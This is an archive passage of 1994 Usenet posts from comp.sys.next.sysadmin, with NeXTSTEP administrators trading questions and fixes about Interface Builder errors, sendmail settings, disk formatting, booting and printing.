error code 314159 in NXReportError
->
-> and this appears in an alert panel when I launch
-> InterfaceBuilder Runtime Error: NXReadOnlyString :
-> does not recognize selector -replaceWith:.
->
-> and then it quits. This only happens when I try to run
-> it though. If someone else runs it, it works fine,
-> although it hangs if you try to add or remove a palette.
-> This all started when I installed MiscKit and went
-> to look at the palettes with IB. Well, that's when I
-> first noticed something was wrong with IB anyway. I'm
-> not saying that MiscKit caused it or anything.
->
-> I'm running NS3.0 on a non-turbo black slab.
->
-> I've tried a complete reinstall of the Dev package
-> from the CD, but it didn't help. I even deleted the
-> Dev package and reinstalled it too, but no success.
->
-> Anyone out there have any bright ideas? I'm all out.
-> Thanks alot
->
-> eugene
Eugene,
Sounds like you have a palette that depends on code in
another palette the second of which is no longer available, or
is not getting loaded first...
My suggestion is that you edit your:
~/.NeXT/defaults.nidb
and remove any non- standard-distribution palettes from the
Palettes and AvailablePalettes entries. Then work from there.
Bruce Gingery bruce@TotSysSoft.com
From: arneha@ifi.uio.no (Arne Christian Herseth)
Newsgroups: comp.sys.next.sysadmin
Subject: Where to find Soundblaster-driver ?
Date: 3 Feb 1994 11:04:31 +0100
Organization: Dept. of Informatics, University of Oslo, Norway
Message-ID: <2iqi7f$bmc@yrsa.ifi.uio.no>
Where can I find a Soundblaster-driver for NextStep 3.2 ?
Newsgroups: comp.sys.next.sysadmin
From: willers@butp.unibe.ch (Moritz Willers)
Subject: Re: [Q] How to get mailserver's alias in outgoing addresses?
Message-ID: <1994Feb3.101215.25037@aragorn.unibe.ch>
Sender: news@aragorn.unibe.ch
Organization: University of Berne, Switzerland
References: <2ipfrk$2d2u@te6000.otc.lsu.edu>
Date: Thu, 3 Feb 1994 10:12:15 GMT
In article <2ipfrk$2d2u@te6000.otc.lsu.edu> texpert@math.lsu.edu (TeX
Support) writes:
> Hello. I apologize if the following has been discussed/solved here
before.
>
> In our NeXT setup, outgoing addresses (such as the From: and Reply-To:
> fields) get translated in various ways, and we have two problems with
> that. The following might be a little confusing, so please bear with me.
>
I have solved this problem for our
"two-NeXTs-(with-netinfo)-connected-to-a-sun-mailserver network" (got it?)
by the following change in the sendmail.sharedsubsidiary.cf. It isn't
documented anywhere, so I don't know whether it is a wise change, however
it works fine and now some sendmail gurus may qualify it:
It involved the m and w macro/variable/define(?)
'm' stands for the domain this is standard and documented:
from the sendmail file:
# local domain name
#
# This is now set from the resolver configuration call. If the domain
# name you would like to have appear in your mail headers is different
# from your Internet domain name, edit and uncomment the following to
# be your mail domain name.
# DmPodunk.EDU
'w' seems to be the host name added to the domainname.
Thing here now look like this
Dmunibe.ch
Dwbutp
Maybe you want something like
Dmmath.lsu.edu
Dw
^^^^^
if this is possible, or maybe
Dmlsu.edu
Dwmath
I don't know a lot more than this, yet it might be a starting point.
Dwsomething definitely overwrites the hostname.
Good luck,
--
Moritz Willers
Institute for Theoretical Physics
Berne, Switzerland
willers@butp.unibe.ch (NeXTMail)
Newsgroups: comp.sys.next.sysadmin
From: drebnord@betenoir.syr.edu (David A. Rebnord)
Subject: Enabling CAP to work on NS 3.X w/o FastPath/GatorBox?
Message-ID: <1994Feb2.195438.3213@newstand.syr.edu>
Keywords: CAP
Sender: netnews@newstand.syr.edu (Network News Administrator)
Organization: Syracuse University, Syracuse, New York
Distribution: usa
Date: Wed, 2 Feb 1994 19:54:38 GMT
I just got a quote from IPT for uShare/Partner -- yikes!
Therefore I ask: is anyone working on enabling CAP to work on NEXTSTEP
3.X (black or white) without requiring additional hardware such as a
Shiva FastPath or Cayman GatorBox?
My memory is hazy, but I seem to remember that -=eps=- mentioned that
he had tried to interest someone else in working on it with him, but
had failed. Is this project still in this moribund state?
--
Dave Rebnord | drebnord@betenoir.syr.edu (NeXTmail)
Dept. of Mathematics | (315) 443-1585 (voice)
Syracuse University | (315) 443-1475 (fax)
Syracuse NY 13244-1150 |
From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer)
Newsgroups: comp.sys.next.sysadmin
Subject: Booting in single-user mode
Date: 3 Feb 1994 16:55:24 GMT
Organization: University of California, at Berkeley
Message-ID: <2ira9s$32f@agate.berkeley.edu>
How do I boot up in single-user mode from the CD under NS/FIP?
- Mark
markf@cory.eecs.berkeley.edu
Newsgroups: comp.sys.next.sysadmin
From: lroberts@nyx10.cs.du.edu (Larry Roberts)
Subject: Cron stopped working after upgrade to 3.2
Message-ID: <1994Feb3.182143.28007@mnemosyne.cs.du.edu>
of Denver for the Denver community. The University has neither
control over nor responsibility for the opinions of users.
Sender: Larry Roberts
Organization: Nyx, Public Access Unix at U. of Denver Math/CS dept.
Date: Thu, 3 Feb 94 18:21:43 GMT
After we installed NS 3.2 on 4 NeXTstation Turbo color machines
the cron on each stopped working. It isn't obvious what is wrong.
Crontab is the same as before the update, and cron is listed as
a process. Any ideas as to what is wrong would be greatly
appreciated. Thanks.
-Larry Roberts
-Naval Air Warfare Center, Indianapolis
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.de (Thomas Funke)
Subject: Re: Weird NewsGrazer problem
Message-ID: <1994Feb2.145310.605@gamelan.uucp>
Sender: thomas@gamelan.uucp (thomas)
Organization: Disorganization
References: <2ijgvi$238@news.acns.nwu.edu>
Date: Wed, 2 Feb 1994 14:53:10 GMT
In article <2ijgvi$238@news.acns.nwu.edu> frank@lucas.medicine.nwu.edu
writes:
> There is a very weird problem for my NewsGrazer (Release 2.0,
> V72.3) on my NeXT blackbox. I have been using this version for
> several months and it's the first time I encountered this kind
> of problem.
>
> When I was reading comp.soft-sys.sas group, suddenly, NewsGrazer
> crashed.
>
A feature. If a news-article has some bad header, Newsgrazer crashes. No
workaround known. Read that newsgroup with nn/gnus.
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.de
Brooks's Law:
Adding manpower to a late software project makes it later
------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin
From: javaman@ccmail.com (Team Caffeine)
Subject: Re: Booting in single-user mode
Message-ID: <javaman.107.000BBD6E@ccmail.com>
Sender: news@ccmail.com
Organization: Lotus CCMail
References: <2ira9s$32f@agate.berkeley.edu>
Distribution: na
Date: Thu, 3 Feb 1994 11:44:19
In article <2ira9s$32f@agate.berkeley.edu> markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer) writes:
>From: markf@cory.EECS.Berkeley.EDU (Mark Frohnmayer)>Subject: Booting in single-user mode
>Date: 3 Feb 1994 16:55:24 GMT
>How do I boot up in single-user mode from the CD under NS/FIP?
>- Mark
>markf@cory.eecs.berkeley.edu
How about from the boot: prompt,
mach_kernel -s
Mark
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: A question of security ...
Message-ID: <1994Feb2.234802.1588@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <2hvilh$20l@menudo.uh.edu>
Date: Wed, 2 Feb 1994 23:48:02 GMT
In article <2hvilh$20l@menudo.uh.edu> pakala@sdl.egr.uh.edu (Rama R. Pakala)
writes:
> What all can a devious mind do from DOS which can harm my NeXT
> filesystem? Any information would be greatly appreciated.
Several distasteful ideas come to mind, including:
1. Changing the active partition with FDISK
2. Removing the NEXTSTEP partition with FDISK
3. Using sector-level restore programs
4. "Browsing" with a sector-level disk inspector
(Norton Disk Doctor, etc.)
5. Programmatic attacks on non-DOS partitions
I'm sure that the sufficiently-motivated malevolent scoundrel could dream up a
number of other nefarious schemes.
--
Chris Bradley | cbradley@bozell.com
Techno-Slave, with Many Masters | +1 214 830 2273 vox
Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
Advertising and Public Relations | "Born ready"
Newsgroups: comp.sys.next.sysadmin
From: mhamrick@dallas.bozell.com(Matt Hamrick)
Subject: Re: Command+~ Is a Farce!!!!
Message-ID: <1994Feb3.003335.2128@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <CJuxAM.JB@news2.cis.umn.edu>
Date: Thu, 3 Feb 1994 00:33:35 GMT
In article <CJuxAM.JB@news2.cis.umn.edu> jimbo@oingo.umn.edu writes:
-> Think about it. It doesn't relly work!
This has got me worried, what about Command+~ doesn't work ?
--
Matthew S. Hamrick | "Though this be madness, yet there is method in't."
mhamrick@bozell.com | -Shakespeare, Hamlet Act 2, Scene 2
Temerlin McClain |
Dallas, Texas | NeXT Mail Capable
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: mhamrick@dallas.bozell.com(Matt Hamrick)
Subject: DOS CD Driver for NeXT CD
Message-ID: <1994Feb3.004117.2335@bozell.com>
Keywords: DOS CD-ROM CD
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
Date: Thu, 3 Feb 1994 00:41:17 GMT
Hey everybody,
I know that this one had got to have been asked (and answered) before,
but I'm looking for the DOS CD Driver that will allow me to use my NeXT
CD-ROM drive while my machine is running DOS. Note that I've already tried
to run it under SoftPC which has CD-ROM support, but lousy serial support.
Now I'm trying to run DOS (ugh!) on my machine which has good serial
support, but lousy NeXT CD-ROM support (as far as I can find, anyway). Any
pointers would be greatly appreciated....
-mhamrick
--
Matthew S. Hamrick | "Though this be madness, yet there is method in't."
mhamrick@bozell.com | -Shakespeare, Hamlet Act 2, Scene 2
Temerlin McClain |
Dallas, Texas | NeXT Mail Capable
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: DOS ate my NeXTSTEP boot loader!
Message-ID: <1994Feb3.011646.2920@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <102126@cup.portal.com>
Distribution: usa
Date: Thu, 3 Feb 1994 01:16:46 GMT
In article <102126@cup.portal.com> dwalker@cup.portal.com (David - Walker)
writes:
> 6.2 rewrites your boot record, (I did the same thing). The work around is
> to use FDISK to activate the NeXT partition. When you want to run DOS again
> you will need to boot from a flopy with FDISK on it .... I'm sure ther is a
> util in NeXT to activate partitions , but I dont know what it is.
>
> I'm on the lookout for a better Boot Manager than NeXT's. When I find it
> I'll let you know.
It's not the fault of the NEXTSTEP bootloader. DOS just blithely overwrites
the boot sector, *and* sets DOS to be the active partition -- as if it were the
only OS that one would ever want to start :-)
--
Chris Bradley | cbradley@bozell.com
Techno-Slave, with Many Masters | +1 214 830 2273 vox
Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
Advertising and Public Relations | "Born ready"
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: AppleShare under OS3.2
Message-ID: <1994Feb3.150847.4941@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <1994Jan28.125749.7717@news.lrz-muenchen.de>
Date: Thu, 3 Feb 1994 15:08:47 GMT
In article <1994Jan28.125749.7717@news.lrz-muenchen.de>
me@next45.wsi.physik.tu-muenchen.de(Matthias Rosenberger) writes:
> BTW, I have the [NeXT_AppleTalk] package working since my NS 3.0 installation
> - now under NS 3.2. The NS3.2 PrintManager doesn't seem to support AppleTalk
> anymore, but the NS3.0 PrintManager still works for NS3.2 AppleTalk, so I
> have both versions installed. And it's still not very stable, off course, but
> does what I want most of the time, which is printing and casual file access
> on Apples.
The bundled AppleTalk support in NS3.0 has some significant bugs, which become
more visible as the size of the AppleTalk network grows.
I strongly recommend that you investigate "Partner" from Information
Presentation Technologies (IPT), in San Luis Obispo, California (US), if your
AppleShare connectivity needs amount to anything more than just casual playing
around.
I am not associated with IPT, just a happy customer.
--
Chris Bradley | cbradley@bozell.com
Techno-Slave, with Many Masters | +1 214 830 2273 vox
Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
Advertising and Public Relations | "Born ready"
Newsgroups: comp.sys.next.sysadmin
From: lbrandt@fiddler.cise.nsf.gov (Lawrence E. Brandt)
Subject: Next as Mac File Server
Message-ID: <1994Feb3.220439.6388@n1.nsf.gov>
Keywords: Mac, File Server
Sender: news@n1.nsf.gov
Organization: National Science Foundation
Date: Thu, 3 Feb 1994 22:04:39 GMT
I'd like to use my Next running Release 3.1 as a file server for a few
office Macintoshes - that is, I'd like to have the users of the Macs see
the Next through the Chooser as an AppleShare device. The Macs and the
Next are all on the local ethernet. Anyone know of a software package to
do this?
Thanks.
==========
Lawrence E. Brandt
National Science Foundation
(703) 306-1963
lbrandt@nsf.gov
From: zmonster@ATHENA.MIT.EDU (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Problems Hooking Up External SCSI Drive to NEXTSTEP Intel
Date: 4 Feb 1994 00:22:04 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2is4fc$ovi@senator-bedfellow.MIT.EDU>
I am trying to hook up a Maxtor 7345S external drive to a NEXTSTEP Intel system
which has an IDE internal drive. I only want to use the external drive for
extra storage space.
I plugged the drive in, and initialized it when Workspace.app came up with
the error: unreadable disk - Initialize? I chose to initalize the disk
with the NeXT file system, and named the disk ExtraDisk. It took about three
seconds to initialize the ENTIRE 350 MB disk. When it was finally auto
mounted, the disk only had 18.4 MB available on it, not the expected ~350MB.
SO, I tried to initalize the SCSI hard drive with the MAC filesystem using
Workspace.app. This took about five minutes, and when I selected the disk,
there WAS 350 megs open, like there was supposed to be. (This drive by
the way was purchased from a Mac hardware supplier, so this may have
something to do with the problem).
I finally tried to do a low level format on the disk using /usr/etc/disk -F.
This took about 10 minutes, and the format worked. But I then tried to
manually initialze the disk using /usr/etc/disk -l ExtraDisk -i /dev/rsd0a,
and here is what happened:
Limiting sectors to those bios-accessible, from 675484 to 41412
disk name: MAXTOR 7345-SCSI 0960
disk type: fixed_rw_scsi
writing disk label
Writing /usr/standalone/i386/boot
Writing /usr/standalone/i386/boot1
creating new filesystem on /dev/rsd0a
/usr/etc/newfs -n -v /dev/rsd0a
setting optimization for space with minfree less than 10
/etc/mkfs /dev/rsd0a 20546 48 4 8192 1024 16 5 60 4096 s
Warning: 190 sector(s) in last cylinder unallocated
/dev/rsd0a: 20546 sectors in 108 cylinders of 4 tracks, 48 sectors
21.0Mb in 7 cyl groups (16 c/g, 3.15Mb/g, 704 i/g)
super-block backups (for fsck -b#) at:
16, 3136, 6256, 9376, 12304, 15424, 18544,
initialization complete
There are a few warnings in this message that could be attributed to the
reason why I only get 18.4 megs of space open when I try to initialize with
a NeXT file system. Again, this did not work.
What's going on here? Help!
Thank You,
Eric
From: gt6963c@prism.gatech.EDU (John "Kzin" Rudd)
Newsgroups: comp.sys.next.bugs,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Formatting NeXTStep Floppies under NS/Intel
Message-ID: <136098@hydra.gatech.EDU>
Date: 4 Feb 94 01:06:37 GMT
Followup-To: comp.sys.next.bugs
Organization: Georgia Institute of Technology
First, I'm sorry about the crosspost, I wasn't sure which of the three
groups was most appropriate.
I've been trying to make a floppy formatted for nextstep (instead of dos)
on my NS/I system, but it always gives me the following error:
block 2448 block_count 18
The 2448 might be replaced 2556 sometimes (out of 4 or 5 tries, I wrote
down the second and last message on the console). I used the workspace
"Disk->Scan for Disks" menu option in all of the cases. The first few
times, I had my 5.25" drive hooked up, and activated in my cmos setup.
The last time, I deactivated the 5.25" drive in cmos setup, but still
had it physically hooked up.
I'm really kind of miffed.. for one, I'd like to make a boot floppy
in case something goes wrong. for two, I don't want to have to go
back and forth from Dos to Unix file systems every time I do sneaker
net transfers.. I want to be able to just use the unix file system.
Thanks for anyhelp
John
--
John "Kzin" Rudd gt6963c@prism.gatech.edu (ex-kzin@cc.gatech.edu)
===========Intel: Putting the backward in backward compatable.==============
DOOM ON YOU!
From: mark@opus.pass.wayne.edu (Mark Murphy)
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
Subject: Recycler problem?
Date: 3 Feb 1994 21:13:39 GMT
Organization: Oakland University, Rochester, Michigan, U.S.A.
Distribution: world
Message-ID: <2irpe3$emh@oak.oakland.edu>
Does anyone have an answer to this problem? I've recently installed a 1.2GB
external HD on a NeXT Cube. I formatted the disk on the NeXT using the
automatic initialize feature when the machine could not read the SCSI device.
The problem is when I toss a file from this disk to the recycler, I get the
message:
Folder xxxxx is located on a disk without recycler.
Continuing will really destroy the files.
What is missing to allow usage of the recycler? .NextTrash file? others? I
can't find any documentation related to this. Why didn't the formatting of this
disk automatically set it up with recycler capabilities? Is there a way to fix
this without reformatting again?
Any help would be greatly appreciated, thanks.
--
Mark Murphy
Systems Analyst
Wayne State University
mark@opus.pass.wayne.edu (NeXT)
mmurphy@cms.cc.wayne.edu (VM/CMS)
From: sun@unity.ncsu.edu (Ying-Hsuan NMI Sun)
Newsgroups: comp.sys.next.sysadmin
Subject: NIS not runing?
Message-ID: <1994Feb3.193603.21923@ncsu.edu>
Date: 3 Feb 94 19:36:03 GMT
Sender: news@ncsu.edu (USENET News System)
Organization: NCSU
Subject: NIS not runing?
Newsgroups: comp.sys.next.sysadmin
Summary:
Keywords:
I just installed my Nextstep/FIP, and setup my network as a stand alone
machine, and got every network information setup, and I can telnet out
fine. However after logout and turn on the machine again, Nextstep boot
and then stop at " YP ", I type ^c and it went on, and then it stop ant
"Automount", I type ^c again and it went on. And then language and
keyboard setup screen appear, not a login box! I select USA and go on,
then workspace show up. After that I can not reach the network.
I click the Netinfo Manager.app icon, it show me an error message that
"domain selected fail to open".
I click the SimpleNetwork starter.app, it show me an error message that
"Can not connect to Netinfo Server".
My hardware configurations are:
486DX266 VLB with 16M RAM.
Cirrus logic 2M RAM VL-bus.
Adaptec 1542cf SCSI controller.
Texel 3028 CD-ROM drive.
540 Conner SCSI HD. 200M for DOS and the rest for NextStep.
SMC Elite 16+ ethernet card.
Any idea? Please Help!!
Sun
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can't rdump: Solved
Date: 3 Feb 1994 00:05:49 +0100
Organization: Palumbian Research Labs
Message-ID: <2ipbkd$ue@marsu.tynet.sub.org>
References: <2i939b$1qm@marsu.tynet.sub.org> <1994Jan30.145906.461@gamelan.uucp>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
thf@zelator.de (Thomas Funke) writes:
>In article <2i939b$1qm@marsu.tynet.sub.org> mow@marsu.tynet.sub.org
>(Markus Wenzel) writes:
>> gnutar is not _that_ bad.
>I just rebuilt my harddisk (660 MB) reformatting with 1024 byte blocks. I
>saved everything with gnutar.
>The result: It just works (tm).
I did not say that it does not work!
But if dump/restore worked as they should, they were much faster.
And, I prefer archive tapes belonging to physical disks and not to
logial paths.
--
Marsu: "There really exist some people who live happily and satis-
fied without computers." -- Frankie: "Oh no, they just emulate it!"
-----
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Intel aside.
From: amok@xedoc.com.au (Andre J. Mok)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT as comms server.mkII
Date: 4 Feb 1994 07:39:11 GMT
Organization: Connect.com.au Pty Ltd, Melbourne, Australia
Distribution: world
Message-ID: <2isu2v$cis@yarrina.connect.com.au>
I am in the process of planning to set up a NeXT (intel) to act as a comms
server to the Internet. It will be running gopher, wais, send mail, FTP,
telnet, newsfeeds, and some other stuff. I so not know of any other sites
that use a NeXT in the same role, I would rather go with a next box over a
SUN if I can help it.
Any comments, questions or experience from anybody who has had some
experience in this area and/or with capacity planning would be gratefully
received.
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222 Park St., Phone +61-3-696-2490
South Melbourne VIC, 3206
From: amok@xedoc.com.au (Andre J. Mok)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT as comms server.mkII
Date: 4 Feb 1994 07:39:22 GMT
Organization: Connect.com.au Pty Ltd, Melbourne, Australia
Distribution: world
Message-ID: <2isu3a$cit@yarrina.connect.com.au>
I am in the process of planning to set up a NeXT (intel) to act as a comms
server to the Internet. It will be running gopher, wais, send mail, FTP,
telnet, newsfeeds, and some other stuff. I so not know of any other sites
that use a NeXT in the same role, I would rather go with a next box over a
SUN if I can help it.
Any comments, questions or experience from anybody who has had some
experience in this area and/or with capacity planning would be gratefully
received.
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Andre Mok amok@xedoc.com.au
Xedoc Software Development Pty. Ltd. Fax +61-3-696-6757
222 Park St., Phone +61-3-696-2490
South Melbourne VIC, 3206
From: amok@xedoc.com.au (Andre J. Mok)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT as comms server.mkII
Date: 4 Feb 1994 07:39:30 GMT
Organization: Connect.com.au Pty Ltd, Melbourne, Australia
Distribution: world
Message-ID: <2isu3i$civ@yarrina.connect.com.au>
I am in the process of planning to set up a NeXT (intel) to act as a comms
server to the Internet. It will be running gopher, wais, send mail, FTP,
telnet, newsfeeds, and some other stuff. I so not know of any other sites
that use a NeXT in the same role, I would rather go with a next box over a
SUN if I can help it.
Any comments, questions or experience from anybody who has had some
experience in this area and/or with capacity planning would be gratefully
received.
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Andre Mok amok@xedoc.com.au
Xedoc Software Development Pty. Ltd. Fax +61-3-696-6757
222 Park St., Phone +61-3-696-2490
South Melbourne VIC, 3206
From: amok@xedoc.com.au (Andre J. Mok)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT as a comms server
Date: 4 Feb 1994 07:40:11 GMT
Organization: Connect.com.au Pty Ltd, Melbourne, Australia
Distribution: world
Message-ID: <2isu4r$cl2@yarrina.connect.com.au>
I am in the process of planning to set up a NeXT (intel) to act as a comms
server to the Internet. It will be running gopher, wais, send mail, FTP,
telnet, newsfeeds, and some other stuff. I so not know of any other sites
that use a NeXT in the same role, I would rather go with a next box over a
SUN if I can help it.
Any comments, questions or experience from anybody who has had some
experience in this area and/or with capacity planning would be gratefully
received.
Thanks in advance.
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Andre Mok amok@xedoc.com.au
Xedoc Software Development Pty. Ltd. Fax +61-3-696-6757
222 Park St., Phone +61-3-696-2490
South Melbourne VIC, 3206
From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Running OS 3.2 on 68030 Cube -- details?
Date: 4 Feb 1994 07:40:21 GMT
Organization: Center for Computer Music Research and Composition, U.C.S.B.
Message-ID: <2isu55$bt2@hub.ucsb.edu>
Could somebody give me some details on how NeXT OS 3.x runs on the old 68030
machines? I know that it is "not optimized" for them, but I want to know just
what is affected by this. For example, I do a very large amount of floating
point crunching -- would this be likely to run *slower* under 3.x than it does
under 2.x?
Most importantly I want to know whether 3.x will run at least equally as fast
as 2.1 or close to it -- I dont care if it is no faster on the 030.
Thank you for any information.
--
Douglas Scott | Senior Development Engineer
Tel: (805) 893-8352 | Center for Computer Music Research and Composition
Internet (NeXTMail ok): | Music Department
<doug@ccmrc.ucsb.edu> | University of California, Santa Barbara
Newsgroups: comp.sys.next.sysadmin
From: david@zion.com(David J. Ferrero)
Subject: ethernet connection of printer to NeXT network?
Message-ID: <1994Feb4.041437.2864@zion.com>
Sender: david@zion.com
Organization: Zion Software & Consulting
Date: Fri, 4 Feb 1994 04:14:37 GMT
I have been asked to connect a new 1200 DPI Laser Printer to a network of
2 NeXT computers. The printer has an RS232 (DB-9) serial port, as well as
ethernet port.
Can this printer be connected in some fashion to this network via
ethernet?
If so, tips, techniques requested. -> david@zion.com
If not, is the 68040 null modem cable the one to make for the serial
connection?
Thanks
David Ferrero
david@zion.com
From: takken@raven.Stanford.EDU (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: does swapdisk need /etc/fstab entry?
Date: 4 Feb 1994 10:42:18 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2it8qa$3g0@nntp2.Stanford.EDU>
I am installing a 40 MB swapdisk on my NeXT slab. Do I need to make an
/etc/fstab entry for the disk?
-- Todd Takken
takken@leland.stanford.edu
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From: buster@rintintin.Colorado.EDU (Paul Buster)
Subject: drwite for ACSII collating in File Viewer ?
Message-ID: <CKnu1t.E24@cnsnews.Colorado.EDU>
Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator)
Organization: University of Colorado, Boulder
Date: Thu, 3 Feb 1994 18:01:03 GMT
Is there a dwrite to make the File Viewer follow the ASCII
collating sequence ? that is, so files are listed as
A-Z followed by a-z rather than Aa-Zz
thanks
-paul
buster@mongrel.Colorado.EDU
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Quantum 1225S won't write
Date: 3 Feb 1994 13:43:26 GMT
Organization: Suite Software
Message-ID: <2iqv1u$96d@bilbo.suite.com>
References: <1994Jan28.012713.6199@advtech.uswest.com>
In article <1994Jan28.012713.6199@advtech.uswest.com>
scorley@advtech.uswest.com writes:
> I thought I posted this question here last week, but it doesn't show up
on
> News Grazer, so here it is again:
>
> I bought a Quantum ProDrive 1225S for a TurboColor NeXTstation. I can
run
> disk -F /dev/rsd1a on the drive to format it and it appears to format it
> OK. However, when I attempt to initialize the drive it fails
immediately.
>
> It seems to write the disk label OK, but will fail as soon as any
attempt
> is made to write to the drive. I've tried formatter and sdformat with no
> luck (same problem - fails when an attempt is made to write). I've tried
I had this problem recently with a different drive though... In my case it
had to do with the jumpers on the new disk, specifically the Active
termination jumper I believe. I don't remember what combination of things
finally got it going but be sure to try it both ways, with and without an
external terminator as well. Hope this helps.
Scot
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From: trebels@orpheus.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Problems printing envelopes with NeXT printer.
Message-ID: <BOOLB5WD@gwdu03.gwdg.de>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.misc
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <2ipf1j$9hs@alf.uib.no>
Date: Fri, 4 Feb 1994 11:34:35 GMT
Thor Legvold (edmtl@alf.uib.no) wrote:
> I just bought a NeXT printer (thanks Sam!), and am trying it out today.
> I cannot seem to get envelopes to print. I am using standard A4
> business envelopes (measure 22cm by 11cm). Yes, I've read the manual.
> And the FAQ. And NeXT Answers.
> I've tried setting paper size to both LTR and A4 without any luck.
> I have (so far) tried manual feed - I imagine that's the easiest to get
> to work. It seems that the envelope isn't drawn beyond the toner
> cartridge to the rollers that melt the toner - the envelope is left
> lying right in the middle of the bottom of the printer, under the
> toner cassette, with toner deposited correctly on the envelope.
This happens indeed, if you try to print outside the paper/envelope
inserted. When toner would miss the paper, printing is stopped. You
can either enter the correct measure in PageLayout yourself, or use
some App to generated envelopes. e.g there is Poste.app (not too
marvelous, but it works...)
\begin{quote}
Quick Overview
Poste is an application/service that prints envelopes.
It can be used to print multiple envelopes from a record file,
or quickly produce a formatted envelope from another application.
Poste is free.
\end{quote}
Ciao, Stephan
--
trebels@theo-phys.gwdg.de
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From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Re: RESULTS: Booting from a CD
Message-ID: <CKnwB7.334@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
References: <MhHGzS600iMF0Lg1A=@andrew.cmu.edu>
Date: Thu, 3 Feb 1994 18:49:55 GMT
In article <MhHGzS600iMF0Lg1A=@andrew.cmu.edu> "Jeremy G. Mereness"
<zonker+@CMU.EDU> writes:
>
>
>
> Note these boot blocks do not copy normally. I think the way to copy
> this disk such that the magic boot blocks come along with it is to
use
> (someone correct me on this)
> <do not insert source disk yet>
> dd if=/dev/rfd0b of=tmpfile bs=16k
> <insert source disk as prompted>
> <when finished, manually eject source disk>
> dd if=tmpfile of=/dev/rfd0b bs=16k
> <insert dest disk when prompted>
> <when finished, manually eject source disk>
> Be sure to use /dev/rfd0b and not /dev/rfd0a or something wrong
happens.
>
> Someone mentioned that this floppy can be recreated from scratch by
some
> means. But he didn't say how.
>
From the upgrade instructions:
First, initialize a floppy disc
then, /usr/etc/disk -B /usr/standalone/boot.cdrom /dev/rfd0a
(or /dev/rsdna for external floppy drives, where n is the drive number)
All as root of course.
--
What I did must have been right, or an angel would
have stopped me, just as the angel stopped Abraham
in the Bible. -- Albert Fish, the cannibal
Jim McKelvey mckelvey@fafnir.com
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From: wissner@beech.csis.gvsu.edu (Jim Wissner)
Subject: Can't find NS/ghostscript/printer hack info
Message-ID: <1994Feb4.153417.20139@beech.csis.gvsu.edu>
Sender: news@beech.csis.gvsu.edu
Organization: Grand Valley State University, Allendale MI
Date: Fri, 4 Feb 1994 15:34:17 GMT
Hello,
I remember there being some way to get ghostscript working with NS
and 24-pin printers, etc.. However I lost the information and can't
figure out where I found it..
Any pointers?
Thanks,
Jim
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From: wissner@beech.csis.gvsu.edu (Jim Wissner)
Subject: miro32 video card
Message-ID: <1994Feb4.153722.20258@beech.csis.gvsu.edu>
Sender: news@beech.csis.gvsu.edu
Organization: Grand Valley State University, Allendale MI
Date: Fri, 4 Feb 1994 15:37:22 GMT
Hello:
Does anyone have any experience with the miro32 video card? I'm looking
seriously into replacing my ATI card with this and I was wondering if
anybody had any good/bad experiences with it (I saw the benchmarks,
but I'm looking for comments as opposed to numbers)...
Jim
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From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Subject: Re: Removiing swapfile from too full disk
Message-ID: <1994Feb4.191028.11548@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2i6u9c$nfp@alamut.cognet.ucla.edu> <2i78k0$jdm@news.tamu.edu>
Date: Fri, 4 Feb 1994 19:10:28 GMT
Rather than have the hassle of having to boot single user, loose the
swap file, (This always happens on weekends, and I hate driving in on
Sunday morning.) I use the following script:
The effect of this is that the machine will reboot with a few minutes
notice when the available space on the boot disk is under 5%. (I
routinely see disks at 105%) While this is annoying to users, having a
